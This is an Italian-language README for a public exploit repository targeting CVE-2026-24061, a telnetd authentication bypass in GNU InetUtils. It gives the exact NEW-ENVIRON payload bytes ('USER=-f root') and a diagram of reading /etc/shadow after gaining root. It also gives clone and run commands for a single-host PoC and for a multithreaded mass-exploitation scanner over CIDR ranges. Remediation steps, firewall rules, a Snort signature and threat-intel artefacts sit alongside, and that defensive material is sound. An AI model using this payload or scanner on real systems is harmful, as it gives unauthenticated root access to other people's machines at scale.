
GNU InetUtils telnetd - Root remoto non autenticato tramite iniezione di variabili NEW-ENVIRON.
GNU InetUtils telnetd - Root remoto non autenticato tramite iniezione di variabili NEW-ENVIRON
Panoramica - Analisi tecnica - Versioni interessate - Utilizzo - Rimedi - Riferimenti
CVE-2026-24061 è una vulnerabilità critica di bypass dell'autenticazione nel demone telnetd distribuito come parte di GNU InetUtils. Il difetto risiede nella gestione dell'opzione Telnet NEW-ENVIRON (RFC 1572) durante la fase iniziale di handshake del protocollo.
La causa principale è la mancata sanificazione delle variabili d'ambiente fornite dal client prima di passarli al programma . Quando il demone Telnet riceve un pacchetto di sub-negoziazione contenente la variabile con il valore , passa questo valore non sanificato direttamente al binario di sistema .
login(1)NEW-ENVIRON ISUSER-f rootloginSu sistemi in cui login accetta il flag -f (login forzato senza verifica della password), ciò comporta la concessione di una sessione root non autenticata all'attaccante remoto.
Questa classe di vulnerabilità ha precedenti storici: CVE-2001-0797 in SysV telnetd e il noto bypass -f di Linux telnetd del 1994 sfruttavano la stessa mancanza fondamentale di sanificazione degli argomenti provenienti dall'ambiente passati a binari privilegiati.
Nessuna credenziale richiesta. Nessun accesso preliminare necessario. Una singola sequenza di pacchetti di rete consente di ottenere root.
GNU InetUtils telnetd elabora la sub-negoziazione NEW-ENVIRON (codice opzione 0x27, secondo RFC 1572) per raccogliere le variabili d'ambiente fornite dal client. Queste variabili vengono assemblate in un vettore di argomenti e passate a execve(2) quando viene avviato login(1).
La vulnerabilità viene attivata come segue:
IAC DO NEW-ENVIRON, richiedendo le variabili d'ambiente dal client.IAC WILL NEW-ENVIRON.IAC SB NEW-ENVIRON SEND IAC SE.IAC SB NEW-ENVIRON IS
VAR "USER" VALUE "-f root"
IAC SE
telnetd costruisce l'invocazione di login come login -f root.login(1) interpreta -f come "login forzato, salta l'autenticazione" e autentica l'utente specificato (root) senza richiedere una password.| Passo | Direzione | Byte Telnet (hex) | Significato |
|---|---|---|---|
| 1 | S -> C | FF FD 27 | IAC DO NEW-ENVIRON |
| 2 | C -> S | FF FB 27 | IAC WILL NEW-ENVIRON |
| 3 | S -> C | FF FA 27 01 FF F0 | IAC SB NEW-ENVIRON SEND IAC SE |
| 4 | C -> S | FF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0 | IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE |
-f root funzionaIl binario login(1) su molti sistemi Linux accetta il flag -f <utente> per login "pre-autenticati", storicamente utilizzato da multiplexer di terminale e rlogin. Quando telnetd costruisce la sua chiamata exec e non riesce a rimuovere i trattini iniziali o a validare stringhe simili a opzioni nei valori delle variabili d'ambiente, passa inavvertitamente flag controllati dall'attaccante direttamente a login.
La chiamata effettiva diventa:
execve("/bin/login", ["login", "-f", "root"], envp);
Attaccante telnetd vulnerabile (porta 23)
| |
|------- TCP SYN (porta 23) ----------------------->|
|<------ TCP SYN-ACK -------------------------------|
|------- TCP ACK ---------------------------------->|
| |
|<------ Banner Telnet + IAC DO NEW-ENVIRON --------|
|------- IAC WILL NEW-ENVIRON --------------------->|
|<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
| |
|------- IAC SB NEW-ENVIRON IS |
| VAR "USER" VALUE "-f root" IAC SE -------->|
| |
| [telnetd chiama: login -f root] |
| |
|<------ Prompt shell root (#) ---------------------|
| |
|------- id; whoami; cat /etc/shadow -------------->|
|<------ uid=0(root) root contenuto /etc/shadow ----|
Prerequisiti:
telnetd (TCP/23 aperto)inetutilslogin(1) supporta il flag -f (standard sulla maggior parte delle distribuzioni Linux)| Software | Versioni interessate | Stato |
|---|---|---|
| GNU InetUtils telnetd | <= 2.x (versione patchata specifica da definire) | Vulnerabile |
| Distribuzioni che includono GNU inetutils non patchato | Varie | Consultare l'avviso del fornitore |
Verificare se la propria distribuzione include una versione patchata. Molti sistemi moderni hanno Telnet disabilitato per impostazione predefinita; l'esposizione richiede un
telnetdesplicitamente in esecuzione.
| Metrica | Valore |
|---|---|
| Punteggio base CVSS v3.1 | 9.8 (Critico) |
| Vettore di attacco | Rete |
| Complessità dell'attacco | Bassa |
| Privilegi richiesti | Nessuno |
| Interazione dell'utente | Nessuna |
| Scope | Invariato |
| Impatto sulla riservatezza | Alto |
| Impatto sull'integrità | Alto |
| Impatto sulla disponibilità | Alto |
| Stringa del vettore | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ID ATT&CK | Tattica | Tecnica | Rilevanza |
|---|---|---|---|
| T1190 | Accesso iniziale | Sfruttamento di applicazioni esposte al pubblico | Sfruttamento diretto di telnetd sulla rete |
| T1059 | Esecuzione | Interprete di comandi e script | Esecuzione di shell post-sfruttamento |
| T1078.004 | Escalation dei privilegi / Evasione delle difese | Account validi: Account locali | Il bypass dell'autenticazione produce una sessione root valida |
| T1548 | Escalation dei privilegi | Abuso del meccanismo di controllo dell'elevazione | Flag login -f abusato per bypassare PAM/autenticazione |
| T1046 | Scoperta | Scoperta dei servizi di rete | Componente di scansione di massa del PoC |
Requisiti: Python 3 (solo libreria standard, zero dipendenze esterne).
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061
Nessuna necessità di pip install. Entrambi gli script utilizzano solo la libreria standard di Python.
poc_cve_2026_24061.py # PoC semplice (~100 righe) - comprendere la vulnerabilità
cve_2026_24061.py # Exploit industrializzato - multithread, CIDR, esportazione CSV/JSON
scripts/
generate_signatures.py # Genera automaticamente regole Snort/Suricata + Sigma dal payload
generate_misp_event.py # Genera eventi JSON importabili in MISP
generate_stix_bundle.py # Genera bundle STIX 2.1 (MISP, OpenCTI, TAXII)
signatures/
snort.rules # Regole di rilevamento Snort/Suricata (generate automaticamente)
sigma.yml # Regola Sigma per SIEM (generata automaticamente)
indicators/
misp_event.json # Evento MISP - importare tramite Events > Add Event > Import
stix_bundle.json # Bundle STIX 2.1 - 11 oggetti (vuln, indicator, ATT&CK, CoA)
poc_cve_2026_24061.py: Minimo, leggibile, didattico. Un target, una funzione, zero astrazioni. Leggere questo per comprendere esattamente come funziona la vulnerabilità a livello di protocollo.cve_2026_24061.py: Exploit industrializzato per test di penetrazione. Multithread, supporta intervalli CIDR, input da file, esportazione CSV/JSON, modalità silenziosa, utenti personalizzati.Sfrutta un singolo host. Il codice è volutamente minimale per poterlo leggere dall'inizio alla fine e comprendere l'intera catena di attacco.
# Utilizzo di base
python3 poc_cve_2026_24061.py 192.168.1.100
# Porta personalizzata
python3 poc_cve_2026_24061.py 10.0.0.5 2323
python3 cve_2026_24061.py -t 192.168.1.100
python3 cve_2026_24061.py -t 10.0.0.0/24 -T 50
python3 cve_2026_24061.py -f targets.txt -o results.csv
python3 cve_2026_24061.py -t 10.0.0.0/24 --json results.json
python3 cve_2026_24061.py -t 192.168.1.1 --user admin
python3 cve_2026_24061.py -t 10.0.0.0/24 -q | tee vulnerable.txt
| Parametro | Predefinito | Descrizione |
|---|---|---|
-t / --target | - | IP singolo, hostname o intervallo CIDR |
-f / --file | - | File contenente IP/CIDR (uno per riga, commenti con #) |
-T / --threads | 10 | Numero di thread concorrenti |
-p / --port | 23 | Porta Telnet target |
--timeout | 5 | Timeout del socket in secondi |
--user | root | Nome utente per il payload -f |
-o / --output | - | Esporta i risultati in file CSV |
--json | - | Esporta i risultati in file JSON |
-q / --quiet | off | Modalità silenziosa: stampa solo i target vulnerabili (uno per riga) |
--no-color | off | Disabilita l'output colore ANSI |
| Stato | Significato |
|---|---|
[VULN] | Host confermato vulnerabile - ottenuta shell root |
[SAFE] | L'host ha risposto ma l'autenticazione non è stata bypassata |
[CLOS] | Porta chiusa o connessione rifiutata |
[ERR ] | Errore di socket o di protocollo durante la scansione |
Colonne di output CSV: ip:port, status, message
Lo script implementa l'intera macchina a stati della negoziazione Telnet NEW-ENVIRON nativamente in Python senza fare affidamento su librerie Telnet esterne:
IAC in arrivo e risponde a DO NEW-ENVIRON con WILL NEW-ENVIRON.SB NEW-ENVIRON SEND, trasmette il payload iniettato (USER = "-f root").uid=0(root) o di un prompt di shell (#), in assenza di Login incorrect o Password:.id\n e verifica la presenza di uid=0(root) nella risposta come conferma secondaria.I risultati vengono registrati su stdout con etichette di stato colorate. L'esportazione CSV opzionale registra tutti i risultati per l'elaborazione successiva.
Disabilitare completamente Telnet. Telnet trasmette tutti i dati in chiaro. Sostituirlo con SSH.
sudo systemctl disable telnet.socket --now
sudo systemctl disable inetd --now
Applicare la patch del fornitore. Installare la versione patchata di inetutils dalla propria distribuzione quando disponibile.
Bloccare TCP/23 al perimetro. Applicare regole firewall per negare le connessioni Telnet in ingresso.
# iptables
sudo iptables -A INPUT -p tcp --dport 23 -j DROP
# nftables
sudo nft add rule inet filter input tcp dport 23 drop
| Controllo | Descrizione |
|---|---|
| Segmentazione della rete | Limitare Telnet a reti di gestione isolate se non può essere disabilitato |
| Hardening PAM | Rivedere la configurazione PAM; disabilitare la pre-autenticazione -f dove non richiesta da login.defs |
| Firme IDS/IPS | Rilevare pattern NEW-ENVIRON IS VAR USER VALUE -f nel traffico Telnet |
| Registrazione di audit | Monitorare auth.log / secure per login root inattesi tramite login |
| Scansione delle vulnerabilità | Eseguire scansioni autenticate (OpenVAS, Nessus) per identificare inetutils non patchato |
Scheletro di regola Snort/Suricata per rilevare l'exploit in transito:
alert tcp any any -> any 23 (
msg:"CVE-2026-24061 tentativo di exploit telnetd USER=-f root";
content:"|FF FA 27 00 00|USER|01|-f root|FF F0|";
sid:2026240610; rev:1;
)
Questo repository include artefatti di threat intelligence pre-generati, pronti per l'importazione nel proprio stack SOC/CTI. Sono generati automaticamente dalla CI a partire dal payload effettivo dell'exploit - se il payload cambia, gli artefatti si aggiornano.
Importare indicators/misp_event.json direttamente in qualsiasi istanza MISP:
Events > Add Event > Import from... > JSON
L'evento contiene: ID CVE, vettore CVSS, firma Snort, payload hex, tag MITRE ATT&CK (T1190, T1548, T1059), CPE e riferimenti esterni.
Importare indicators/stix_bundle.json in OpenCTI, server TAXII o qualsiasi consumatore STIX 2.1.
Il bundle contiene 11 oggetti: Vulnerability, Indicator (pattern di rete), 3 Attack Patterns (MITRE), Course of Action (rimedio), Identity e Relationships che li collegano.
Regole predefinite in signatures/:
snort.rules - 3 regole Snort/Suricata (tentativo di exploit, iniezione generica -f, shell root post-sfruttamento)sigma.yml - Regola Sigma per correlazione SIEMSe si modifica il payload dell'exploit, rigenerare tutti gli artefatti:
python3 scripts/generate_signatures.py
python3 scripts/generate_misp_event.py
python3 scripts/generate_stix_bundle.py
Questo strumento è fornito esclusivamente per audit di sicurezza autorizzati, ricerca accademica e scopi educativi. L'utilizzo contro sistemi senza esplicita autorizzazione scritta del proprietario del sistema è illegale ai sensi delle leggi applicabili su frode e abuso informatico (incluse, a titolo esemplificativo, CFAA, Computer Misuse Act e legislazione equivalente). L'autore non si assume alcuna responsabilità per utilizzi non autorizzati o dannosi.